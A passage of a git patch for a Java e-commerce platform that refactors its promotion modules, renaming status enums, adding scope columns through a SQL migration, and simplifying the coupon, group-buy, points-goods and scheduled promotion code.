=> PromotionsApplyStatusEnum.java} (81%) rename framework/src/main/java/cn/lili/modules/promotion/entity/enums/{CouponScopeTypeEnum.java => PromotionsScopeTypeEnum.java} (79%) rename framework/src/main/java/cn/lili/modules/promotion/entity/enums/{PromotionStatusEnum.java => PromotionsStatusEnum.java} (87%) create mode 100644 framework/src/main/java/cn/lili/modules/promotion/entity/vos/BasePromotionsSearchParams.java create mode 100644 framework/src/main/java/cn/lili/modules/promotion/service/AbstractPromotionsService.java create mode 100644 framework/src/main/java/cn/lili/modules/promotion/serviceimpl/AbstractPromotionsServiceImpl.java diff --git a/DB/li_promotions.sql b/DB/li_promotions.sql new file mode 100644 index 00000000..9499b56a --- /dev/null +++ b/DB/li_promotions.sql @@ -0,0 +1,38 @@ + +ALTER TABLE li_coupon DROP COLUMN promotion_status; + +ALTER TABLE li_coupon_activity DROP COLUMN promotion_status; +ALTER TABLE li_coupon_activity ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; +ALTER TABLE li_coupon_activity ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '关联范围类型'; + +ALTER TABLE li_full_discount DROP COLUMN promotion_status; +ALTER TABLE li_full_discount ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; +ALTER TABLE li_full_discount ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '关联范围类型'; + +ALTER TABLE li_kanjia_activity_goods DROP COLUMN promotion_status; +ALTER TABLE li_kanjia_activity_goods ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; +ALTER TABLE li_kanjia_activity_goods ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '关联范围类型'; +ALTER TABLE li_kanjia_activity_goods ADD `goods_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL; + +ALTER TABLE li_pintuan DROP COLUMN promotion_status; +ALTER TABLE li_pintuan ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; +ALTER TABLE li_pintuan ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '关联范围类型'; + +ALTER TABLE li_points_goods DROP COLUMN promotion_status; +ALTER TABLE li_points_goods ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; +ALTER TABLE li_points_goods ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '关联范围类型'; +ALTER TABLE li_points_goods ADD `original_price` double(10,2) DEFAULT NULL COMMENT '原价'; +ALTER TABLE li_points_goods ADD `thumbnail` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '缩略图'; +ALTER TABLE li_points_goods ADD `goods_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '商品编号'; +ALTER TABLE li_points_goods ADD `goods_name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '货品名称'; + +ALTER TABLE li_promotion_goods DROP COLUMN promotion_status; +ALTER TABLE li_promotion_goods ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; +ALTER TABLE li_promotion_goods ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '关联范围类型'; +ALTER TABLE li_promotion_goods ADD `original_price` double(10,2) DEFAULT NULL COMMENT '原价'; +ALTER TABLE li_promotion_goods ADD `points` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '兑换积分'; +ALTER TABLE li_promotion_goods ADD `goods_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '商品编号'; + +ALTER TABLE li_seckill DROP COLUMN promotion_status; +ALTER TABLE li_seckill ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; +ALTER TABLE li_seckill ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '关联范围类型'; diff --git a/buyer-api/src/main/java/cn/lili/controller/member/CouponBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/promotion/CouponBuyerController.java similarity index 89% rename from buyer-api/src/main/java/cn/lili/controller/member/CouponBuyerController.java rename to buyer-api/src/main/java/cn/lili/controller/promotion/CouponBuyerController.java index c4b40b0e..f014f644 100644 --- a/buyer-api/src/main/java/cn/lili/controller/member/CouponBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/promotion/CouponBuyerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.member; +package cn.lili.controller.promotion; import cn.lili.common.enums.ResultUtil; import cn.lili.common.security.AuthUser; @@ -6,6 +6,8 @@ import cn.lili.common.security.context.UserContext; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.promotion.entity.dos.MemberCoupon; +import cn.lili.modules.promotion.entity.enums.CouponGetEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.modules.promotion.entity.vos.CouponSearchParams; import cn.lili.modules.promotion.entity.vos.CouponVO; import cn.lili.modules.promotion.service.CouponService; @@ -51,7 +53,9 @@ public class CouponBuyerController { @GetMapping @ApiOperation(value = "获取可领取优惠券列表") public ResultMessage> getCouponList(CouponSearchParams queryParam, PageVO page) { - IPage canUseCoupons = couponService.getCanReceiveCoupons(queryParam, page); + queryParam.setPromotionStatus(PromotionsStatusEnum.START.name()); + queryParam.setGetType(CouponGetEnum.FREE.name()); + IPage canUseCoupons = couponService.pageVOFindAll(queryParam, page); return ResultUtil.data(canUseCoupons); } @@ -84,8 +88,7 @@ public class CouponBuyerController { @GetMapping("/receive/{couponId}") public ResultMessage receiveCoupon(@NotNull(message = "优惠券ID不能为空") @PathVariable("couponId") String couponId) { AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser()); - memberCouponService.checkCouponLimit(couponId, currentUser.getId()); - memberCouponService.receiveCoupon(couponId, currentUser.getId(), currentUser.getNickName()); + memberCouponService.receiveBuyerCoupon(couponId, currentUser.getId(), currentUser.getNickName()); return ResultUtil.success(); } diff --git a/buyer-api/src/main/java/cn/lili/controller/promotion/KanjiaGoodsActivityBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/promotion/KanjiaGoodsActivityBuyerController.java index e1c70780..a0445108 100644 --- a/buyer-api/src/main/java/cn/lili/controller/promotion/KanjiaGoodsActivityBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/promotion/KanjiaGoodsActivityBuyerController.java @@ -9,7 +9,7 @@ import cn.lili.modules.promotion.entity.dos.KanjiaActivity; import cn.lili.modules.promotion.entity.dos.KanjiaActivityLog; import cn.lili.modules.promotion.entity.dto.KanJiaActivityLogQuery; import cn.lili.modules.promotion.entity.dto.KanjiaActivityQuery; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.modules.promotion.entity.vos.kanjia.*; import cn.lili.modules.promotion.service.KanjiaActivityGoodsService; import cn.lili.modules.promotion.service.KanjiaActivityLogService; @@ -52,7 +52,7 @@ public class KanjiaGoodsActivityBuyerController { @ApiOperation(value = "分页获取砍价商品") public ResultMessage> kanjiaActivityGoodsPage(KanjiaActivityGoodsParams kanjiaActivityGoodsParams, PageVO page) { // 会员端查询到的肯定是已经开始的活动商品 - kanjiaActivityGoodsParams.setPromotionStatus(PromotionStatusEnum.START.name()); + kanjiaActivityGoodsParams.setPromotionStatus(PromotionsStatusEnum.START.name()); kanjiaActivityGoodsParams.setStartTime(System.currentTimeMillis()); kanjiaActivityGoodsParams.setEndTime(System.currentTimeMillis()); return ResultUtil.data(kanJiaActivityGoodsService.kanjiaGoodsVOPage(kanjiaActivityGoodsParams, page)); diff --git a/buyer-api/src/main/java/cn/lili/controller/promotion/PintuanBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/promotion/PintuanBuyerController.java index 9ec1ed22..84fe7c16 100644 --- a/buyer-api/src/main/java/cn/lili/controller/promotion/PintuanBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/promotion/PintuanBuyerController.java @@ -1,12 +1,11 @@ package cn.lili.controller.promotion; -import cn.hutool.core.date.DateUtil; +import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; -import cn.lili.modules.promotion.entity.dto.PromotionGoodsDTO; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; -import cn.lili.common.enums.PromotionTypeEnum; +import cn.lili.modules.promotion.entity.dos.PromotionGoods; +import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.modules.promotion.entity.vos.PintuanMemberVO; import cn.lili.modules.promotion.entity.vos.PintuanShareVO; import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; @@ -40,14 +39,13 @@ public class PintuanBuyerController { @ApiOperation(value = "获取拼团商品") @GetMapping - public ResultMessage> getPintuanCategory(String goodsName, String categoryPath, PageVO pageVo) { + public ResultMessage> getPintuanCategory(String goodsName, String categoryPath, PageVO pageVo) { PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); searchParams.setGoodsName(goodsName); searchParams.setPromotionType(PromotionTypeEnum.PINTUAN.name()); - searchParams.setPromotionStatus(PromotionStatusEnum.START.name()); + searchParams.setPromotionStatus(PromotionsStatusEnum.START.name()); searchParams.setCategoryPath(categoryPath); - searchParams.setEndTime(DateUtil.date().getTime()); - return ResultUtil.data(promotionGoodsService.getPromotionGoods(searchParams, pageVo)); + return ResultUtil.data(promotionGoodsService.pageFindAll(searchParams, pageVo)); } diff --git a/buyer-api/src/main/java/cn/lili/controller/promotion/PointsGoodsBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/promotion/PointsGoodsBuyerController.java index 6bd0ee33..e4cd94d1 100644 --- a/buyer-api/src/main/java/cn/lili/controller/promotion/PointsGoodsBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/promotion/PointsGoodsBuyerController.java @@ -3,6 +3,7 @@ package cn.lili.controller.promotion; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; +import cn.lili.modules.promotion.entity.dos.PointsGoods; import cn.lili.modules.promotion.entity.dos.PointsGoodsCategory; import cn.lili.modules.promotion.entity.vos.PointsGoodsSearchParams; import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; @@ -35,8 +36,8 @@ public class PointsGoodsBuyerController { @GetMapping @ApiOperation(value = "分页获取积分商品") - public ResultMessage> getPointsGoodsPage(PointsGoodsSearchParams searchParams, PageVO page) { - IPage pointsGoodsByPage = pointsGoodsService.getPointsGoodsByPage(searchParams, page); + public ResultMessage> getPointsGoodsPage(PointsGoodsSearchParams searchParams, PageVO page) { + IPage pointsGoodsByPage = pointsGoodsService.pageFindAll(searchParams, page); return ResultUtil.data(pointsGoodsByPage); } diff --git a/consumer/src/main/java/cn/lili/event/impl/RegisteredCouponActivityExecute.java b/consumer/src/main/java/cn/lili/event/impl/RegisteredCouponActivityExecute.java index a6b7d6cf..ca198508 100644 --- a/consumer/src/main/java/cn/lili/event/impl/RegisteredCouponActivityExecute.java +++ b/consumer/src/main/java/cn/lili/event/impl/RegisteredCouponActivityExecute.java @@ -4,7 +4,7 @@ import cn.lili.event.MemberRegisterEvent; import cn.lili.modules.member.entity.dos.Member; import cn.lili.modules.promotion.entity.dos.CouponActivity; import cn.lili.modules.promotion.entity.enums.CouponActivityTypeEnum; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.modules.promotion.service.CouponActivityService; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import org.springframework.beans.factory.annotation.Autowired; @@ -34,7 +34,7 @@ public class RegisteredCouponActivityExecute implements MemberRegisterEvent { public void memberRegister(Member member) { List couponActivities = couponActivityService.list(new LambdaQueryWrapper() .eq(CouponActivity::getCouponActivityType, CouponActivityTypeEnum.REGISTERED.name()) - .eq(CouponActivity::getPromotionStatus, PromotionStatusEnum.START.name())); + .eq(CouponActivity::getPromotionStatus, PromotionsStatusEnum.START.name())); couponActivityService.registered(couponActivities, member); } diff --git a/consumer/src/main/java/cn/lili/event/impl/StockUpdateExecute.java b/consumer/src/main/java/cn/lili/event/impl/StockUpdateExecute.java index d87a1e77..2e5fd60e 100644 --- a/consumer/src/main/java/cn/lili/event/impl/StockUpdateExecute.java +++ b/consumer/src/main/java/cn/lili/event/impl/StockUpdateExecute.java @@ -15,6 +15,7 @@ import cn.lili.modules.promotion.entity.dos.KanjiaActivity; import cn.lili.modules.promotion.entity.dos.PromotionGoods; import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsDTO; import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; +import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; import cn.lili.modules.promotion.service.*; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; @@ -202,10 +203,10 @@ public class StockUpdateExecute implements OrderStatusChangeEvent { switch (promotionTypeEnum) { case KANJIA: - cache.put(cacheKey, kanjiaActivityGoodsService.getKanJiaGoodsBySku(orderItem.getSkuId()).getStock().intValue()); + cache.put(cacheKey, kanjiaActivityGoodsService.getKanjiaGoodsBySkuId(orderItem.getSkuId()).getStock()); return; case POINTS_GOODS: - cache.put(cacheKey, pointsGoodsService.getPointsGoodsVOByMongo(orderItem.getSkuId()).getActiveStock().intValue()); + cache.put(cacheKey, pointsGoodsService.getPointsGoodsDetailBySkuId(orderItem.getSkuId()).getActiveStock()); return; case SECKILL: case PINTUAN: @@ -303,14 +304,20 @@ public class StockUpdateExecute implements OrderStatusChangeEvent { pointsGoodsService.updateById(pointsGoodsVO); this.mongoTemplate.save(pointsGoodsVO); } else { - PromotionGoods pGoods = promotionGoodsService.getPromotionGoods(promotionTypeEnum, orderItem.getPromotionId(), orderItem.getSkuId()); + PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); + searchParams.setPromotionStatus(promotionTypeEnum.name()); + searchParams.setPromotionId(orderItem.getPromotionId()); + searchParams.setSkuId(orderItem.getSkuId()); + PromotionGoods pGoods = promotionGoodsService.getPromotionsGoods(searchParams); //记录需要更新的促销库存信息 promotionKey.add( PromotionGoodsService.getPromotionGoodsStockCacheKey( promotionTypeEnum, orderItem.getPromotionId(), orderItem.getSkuId()) ); - promotionGoods.add(pGoods); + if (pGoods != null) { + promotionGoods.add(pGoods); + } } } goodsSkus.add(goodsSku); diff --git a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java index 8738bf0c..76ad47e5 100644 --- a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java +++ b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java @@ -3,9 +3,9 @@ package cn.lili.listener; import cn.hutool.core.map.MapUtil; import cn.hutool.core.text.CharSequenceUtil; import cn.hutool.core.util.ArrayUtil; +import cn.hutool.core.util.ClassLoaderUtil; import cn.hutool.json.JSONObject; import cn.hutool.json.JSONUtil; -import cn.lili.common.properties.RocketmqCustomProperties; import cn.lili.event.GoodsCommentCompleteEvent; import cn.lili.modules.distribution.entity.dos.DistributionGoods; import cn.lili.modules.distribution.entity.dos.DistributionSelectedGoods; @@ -17,6 +17,7 @@ import cn.lili.modules.goods.entity.dos.Goods; import cn.lili.modules.goods.entity.dos.GoodsSku; import cn.lili.modules.goods.entity.dto.GoodsCompleteMessage; import cn.lili.modules.goods.entity.dto.GoodsParamsDTO; +import cn.lili.modules.goods.entity.dto.GoodsSearchParams; import cn.lili.modules.goods.entity.enums.GoodsAuthEnum; import cn.lili.modules.goods.entity.enums.GoodsStatusEnum; import cn.lili.modules.goods.service.BrandService; @@ -27,13 +28,16 @@ import cn.lili.modules.member.entity.dos.FootPrint; import cn.lili.modules.member.entity.dos.MemberEvaluation; import cn.lili.modules.member.service.FootprintService; import cn.lili.modules.member.service.GoodsCollectionService; +import cn.lili.modules.promotion.entity.dos.PromotionGoods; +import cn.lili.modules.promotion.entity.dto.BasePromotions; +import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; +import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; +import cn.lili.modules.promotion.service.PromotionGoodsService; import cn.lili.modules.search.entity.dos.EsGoodsIndex; import cn.lili.modules.search.service.EsGoodsIndexService; -import cn.lili.modules.search.utils.EsIndexUtil; import cn.lili.modules.store.entity.dos.StoreGoodsLabel; import cn.lili.modules.store.service.StoreGoodsLabelService; import cn.lili.modules.store.service.StoreService; -import cn.lili.rocketmq.RocketmqSendCallbackBuilder; import cn.lili.rocketmq.tags.GoodsTagsEnum; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; @@ -41,14 +45,11 @@ import lombok.extern.slf4j.Slf4j; import org.apache.rocketmq.common.message.MessageExt; import org.apache.rocketmq.spring.annotation.RocketMQMessageListener; import org.apache.rocketmq.spring.core.RocketMQListener; -import org.apache.rocketmq.spring.core.RocketMQTemplate; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; -import java.util.ArrayList; -import java.util.Arrays; -import java.util.List; -import java.util.Map; +import java.util.*; +import java.util.stream.Collectors; /** * 商品消息 @@ -122,16 +123,8 @@ public class GoodsMessageListener implements RocketMQListener { @Autowired private StoreGoodsLabelService storeGoodsLabelService; - /** - * rocketMq - */ @Autowired - private RocketMQTemplate rocketMQTemplate; - /** - * rocketMq配置 - */ - @Autowired - private RocketmqCustomProperties rocketmqCustomProperties; + private PromotionGoodsService promotionGoodsService; @Override public void onMessage(MessageExt messageExt) { @@ -152,6 +145,12 @@ public class GoodsMessageListener implements RocketMQListener { log.error("生成商品索引事件执行异常,商品信息 {}", new String(messageExt.getBody())); } break; + case UPDATE_GOODS_INDEX_PROMOTIONS: + this.updateGoodsIndexPromotions(new String(messageExt.getBody())); + break; + case DELETE_GOODS_INDEX_PROMOTIONS: + this.goodsIndexService.deleteEsGoodsPromotionByPromotionId(null, new String(messageExt.getBody())); + break; case UPDATE_GOODS_INDEX: try { String goodsIdsJsonStr = new String(messageExt.getBody()); @@ -226,6 +225,32 @@ public class GoodsMessageListener implements RocketMQListener { } } + private void updateGoodsIndexPromotions(String promotionsJsonStr) { + try { + log.info("更新商品索引促销信息: {}", promotionsJsonStr); + JSONObject jsonObject = JSONUtil.parseObj(promotionsJsonStr); + BasePromotions promotions = (BasePromotions) jsonObject.get("promotions", + ClassLoaderUtil.loadClass(jsonObject.get("promotionsType").toString())); + String esPromotionKey = jsonObject.get("esPromotionKey").toString(); + if (PromotionsScopeTypeEnum.PORTION_GOODS.name().equals(promotions.getScopeType())) { + PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); + searchParams.setPromotionId(promotions.getId()); + List promotionGoodsList = this.promotionGoodsService.listFindAll(searchParams); + this.goodsIndexService.updateEsGoodsIndexByList(promotionGoodsList, promotions, esPromotionKey); + } else if (PromotionsScopeTypeEnum.PORTION_GOODS_CATEGORY.name().equals(promotions.getScopeType())) { + GoodsSearchParams searchParams = new GoodsSearchParams(); + searchParams.setCategoryPath(promotions.getScopeId()); + List goodsSkuByList = this.goodsSkuService.getGoodsSkuByList(searchParams); + List skuIds = goodsSkuByList.stream().map(GoodsSku::getId).collect(Collectors.toList()); + this.goodsIndexService.updateEsGoodsIndexPromotions(skuIds, promotions, esPromotionKey); + } else if (PromotionsScopeTypeEnum.ALL.name().equals(promotions.getScopeType())) { + this.goodsIndexService.updateEsGoodsIndexAllByList(promotions, esPromotionKey); + } + } catch (Exception e) { + log.error("生成商品索引促销信息执行异常,参数信息 {}", promotionsJsonStr); + } + } + /** * 更新商品索引 * @@ -415,13 +440,10 @@ public class GoodsMessageListener implements RocketMQListener { goodsSku.setBuyCount(buyCount); goodsSkuService.update(goodsSku); - //修改规格索引,发送mq消息 - Map updateIndexFieldsMap = EsIndexUtil.getUpdateIndexFieldsMap( - MapUtil.builder().put("id", goodsCompleteMessage.getSkuId()).build(), - MapUtil.builder().put("buyCount", buyCount).build()); - String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.UPDATE_GOODS_INDEX_FIELD.name(); - rocketMQTemplate.asyncSend(destination, JSONUtil.toJsonStr(updateIndexFieldsMap), RocketmqSendCallbackBuilder.commonCallback()); - goodsIndexService.updateIndex(goodsCompleteMessage.getSkuId(), new EsGoodsIndex().setBuyCount(buyCount)); + this.goodsIndexService.updateIndex( + MapUtil.builder(new HashMap()).put("id", goodsCompleteMessage.getSkuId()).build(), + MapUtil.builder(new HashMap()).put("buyCount", buyCount).build()); + } else { log.error("商品SkuId为[" + goodsCompleteMessage.getGoodsId() + "的商品不存在,更新商品失败!"); } diff --git a/consumer/src/main/java/cn/lili/timetask/handler/impl/promotion/PromotionEverydayExecute.java b/consumer/src/main/java/cn/lili/timetask/handler/impl/promotion/PromotionEverydayExecute.java index 0cf33727..bad47e54 100644 --- a/consumer/src/main/java/cn/lili/timetask/handler/impl/promotion/PromotionEverydayExecute.java +++ b/consumer/src/main/java/cn/lili/timetask/handler/impl/promotion/PromotionEverydayExecute.java @@ -1,34 +1,18 @@ package cn.lili.timetask.handler.impl.promotion; -import cn.lili.modules.order.cart.entity.vo.FullDiscountVO; -import cn.lili.modules.promotion.entity.dos.MemberCoupon; -import cn.lili.modules.promotion.entity.dos.PromotionGoods; import cn.lili.modules.promotion.entity.dos.Seckill; -import cn.lili.modules.promotion.entity.enums.MemberCouponStatusEnum; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; -import cn.lili.modules.promotion.entity.vos.CouponVO; -import cn.lili.modules.promotion.entity.vos.PintuanVO; -import cn.lili.modules.promotion.service.*; +import cn.lili.modules.promotion.service.SeckillService; import cn.lili.modules.search.service.EsGoodsIndexService; import cn.lili.modules.system.entity.dos.Setting; import cn.lili.modules.system.entity.dto.SeckillSetting; import cn.lili.modules.system.entity.enums.SettingEnum; import cn.lili.modules.system.service.SettingService; import cn.lili.timetask.handler.EveryDayExecute; -import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; -import com.baomidou.mybatisplus.core.conditions.update.UpdateWrapper; import com.google.gson.Gson; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.data.mongodb.core.MongoTemplate; -import org.springframework.data.mongodb.core.query.Criteria; -import org.springframework.data.mongodb.core.query.Query; import org.springframework.stereotype.Component; -import java.util.ArrayList; -import java.util.Date; -import java.util.List; - /** * 促销活动每日定时器 * @@ -39,41 +23,11 @@ import java.util.List; @Component public class PromotionEverydayExecute implements EveryDayExecute { - /** - * Mongo - */ - @Autowired - private MongoTemplate mongoTemplate; /** * ES商品索引 */ @Autowired private EsGoodsIndexService esGoodsIndexService; - /** - * 满额活动 - */ - @Autowired - private FullDiscountService fullDiscountService; - /** - * 拼团 - */ - @Autowired - private PintuanService pintuanService; - /** - * 优惠券 - */ - @Autowired - private CouponService couponService; - /** - * 会员优惠券 - */ - @Autowired - private MemberCouponService memberCouponService; - /** - * 促销商品 - */ - @Autowired - private PromotionGoodsService promotionGoodsService; /** * 系统设置 */ @@ -90,125 +44,13 @@ public class PromotionEverydayExecute implements EveryDayExecute { */ @Override public void execute() { - //mongo查询条件 - Query query = new Query(); - //结束条件 活动未关闭/活动未结束 - query.addCriteria(Criteria.where("promotionStatus").ne(PromotionStatusEnum.END.name()) - .orOperator(Criteria.where("promotionStatus").ne(PromotionStatusEnum.CLOSE.name()))); - //结束条件 活动结束时间大于当前时间 - query.addCriteria(Criteria.where("endTime").lte(new Date())); - - //结束满减活动 - endFullDiscount(query); - - //关闭拼团活动 - endPintuan(query); - - //结束优惠券 - endCoupon(query); - + //查询条件 + this.esGoodsIndexService.cleanInvalidPromotion(); //定时创建活动 addSeckill(); } - /** - * 结束优惠券活动 - * - * @param query - */ - private void endCoupon(Query query) { - - try { - //关闭优惠券活动 - List couponVOS = mongoTemplate.find(query, CouponVO.class); - if (!couponVOS.isEmpty()) { - List ids = new ArrayList<>(); - // //关闭的优惠券活动 - for (CouponVO vo : couponVOS) { - vo.setPromotionStatus(PromotionStatusEnum.END.name()); - if (vo.getPromotionGoodsList() != null && !vo.getPromotionGoodsList().isEmpty()) { - for (PromotionGoods promotionGoods : vo.getPromotionGoodsList()) { - promotionGoods.setPromotionStatus(PromotionStatusEnum.END.name()); - esGoodsIndexService.deleteEsGoodsPromotionByPromotionId(promotionGoods.getSkuId(), vo.getId()); - } - } - mongoTemplate.save(vo); - ids.add(vo.getId()); - } - couponService.update(this.getUpdatePromotionWrapper(ids)); - LambdaUpdateWrapper memberCouponLambdaUpdateWrapper = new LambdaUpdateWrapper().in(MemberCoupon::getCouponId, ids).set(MemberCoupon::getMemberCouponStatus, MemberCouponStatusEnum.EXPIRE.name()); - memberCouponService.update(memberCouponLambdaUpdateWrapper); - //将活动商品对照表进行结束处理 - promotionGoodsService.update(this.getUpdatePromotionGoodsWrapper(ids)); - } - } catch (Exception e) { - log.error("优惠券活动关闭错误", e); - } - } - - /** - * 结束拼团活动 - * - * @param query - */ - private void endPintuan(Query query) { - try { - //关闭拼团活动 - List pintuanVOS = mongoTemplate.find(query, PintuanVO.class); - if (!pintuanVOS.isEmpty()) { - //准备修改活动的id - List ids = new ArrayList<>(); - for (PintuanVO vo : pintuanVOS) { - vo.setPromotionStatus(PromotionStatusEnum.END.name()); - if (vo.getPromotionGoodsList() != null && !vo.getPromotionGoodsList().isEmpty()) { - for (PromotionGoods promotionGoods : vo.getPromotionGoodsList()) { - promotionGoods.setPromotionStatus(PromotionStatusEnum.END.name()); - esGoodsIndexService.deleteEsGoodsPromotionByPromotionId(promotionGoods.getSkuId(), vo.getId()); - } - } - mongoTemplate.save(vo); - ids.add(vo.getId()); - } - pintuanService.update(this.getUpdatePromotionWrapper(ids)); - //将活动商品对照表进行结束处理 - promotionGoodsService.update(this.getUpdatePromotionGoodsWrapper(ids)); - } - } catch (Exception e) { - log.error("拼团活动关闭错误", e); - } - } - - /** - * 结束满减活动 - * - * @param query - */ - private void endFullDiscount(Query query) { - try { - //关闭满减活动 - List fullDiscountVOS = mongoTemplate.find(query, FullDiscountVO.class); - if (!fullDiscountVOS.isEmpty()) { - List ids = new ArrayList<>(); - //循环活动 关闭活动 - for (FullDiscountVO vo : fullDiscountVOS) { - vo.setPromotionStatus(PromotionStatusEnum.END.name()); - if (vo.getPromotionGoodsList() != null && !vo.getPromotionGoodsList().isEmpty()) { - for (PromotionGoods promotionGoods : vo.getPromotionGoodsList()) { - promotionGoods.setPromotionStatus(PromotionStatusEnum.END.name()); - esGoodsIndexService.deleteEsGoodsPromotionByPromotionId(promotionGoods.getSkuId(), vo.getId()); - } - } - mongoTemplate.save(vo); - ids.add(vo.getId()); - } - fullDiscountService.update(this.getUpdatePromotionWrapper(ids)); - } - } catch (Exception e) { - log.error("满减活动关闭错误", e); - } - } - /** * 添加秒杀活动 * 从系统设置中获取秒杀活动的配置 @@ -218,32 +60,6 @@ public class PromotionEverydayExecute implements EveryDayExecute { Setting setting = settingService.get(SettingEnum.SECKILL_SETTING.name()); SeckillSetting seckillSetting = new Gson().fromJson(setting.getSettingValue(), SeckillSetting.class); Seckill seckill = new Seckill(SeckillService.PRE_CREATION, seckillSetting.getHours(), seckillSetting.getSeckillRule()); - seckillService.saveSeckill(seckill); - } - - /** - * 获取促销修改查询条件 修改活动状态 - * - * @param ids 促销活动ID - * @return 促销活动商品查询Wrapper - */ - private UpdateWrapper getUpdatePromotionWrapper(List ids) { - UpdateWrapper updateWrapper = new UpdateWrapper<>(); - updateWrapper.in("id", ids); - updateWrapper.set("promotion_status", PromotionStatusEnum.END.name()); - return updateWrapper; - } - - /** - * 获取商品的促销修改查询条件 修改商品状态 - * - * @param ids 促销活动ID - * @return 促销活动商品修改Wrapper - */ - private UpdateWrapper getUpdatePromotionGoodsWrapper(List ids) { - UpdateWrapper updateWrapper = new UpdateWrapper<>(); - updateWrapper.in("promotion_id", ids); - updateWrapper.set("promotion_status", PromotionStatusEnum.END.name()); - return updateWrapper; + seckillService.savePromotions(seckill); } } diff --git a/consumer/src/main/java/cn/lili/trigger/executor/PromotionTimeTriggerExecutor.java b/consumer/src/main/java/cn/lili/trigger/executor/PromotionTimeTriggerExecutor.java index 9d6cf1fe..1eb8cbd3 100644 --- a/consumer/src/main/java/cn/lili/trigger/executor/PromotionTimeTriggerExecutor.java +++ b/consumer/src/main/java/cn/lili/trigger/executor/PromotionTimeTriggerExecutor.java @@ -1,16 +1,10 @@ package cn.lili.trigger.executor; import cn.hutool.json.JSONUtil; -import cn.lili.common.properties.RocketmqCustomProperties; import cn.lili.modules.order.order.service.OrderService; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; -import cn.lili.modules.promotion.service.PromotionService; import cn.lili.trigger.TimeTriggerExecutor; -import 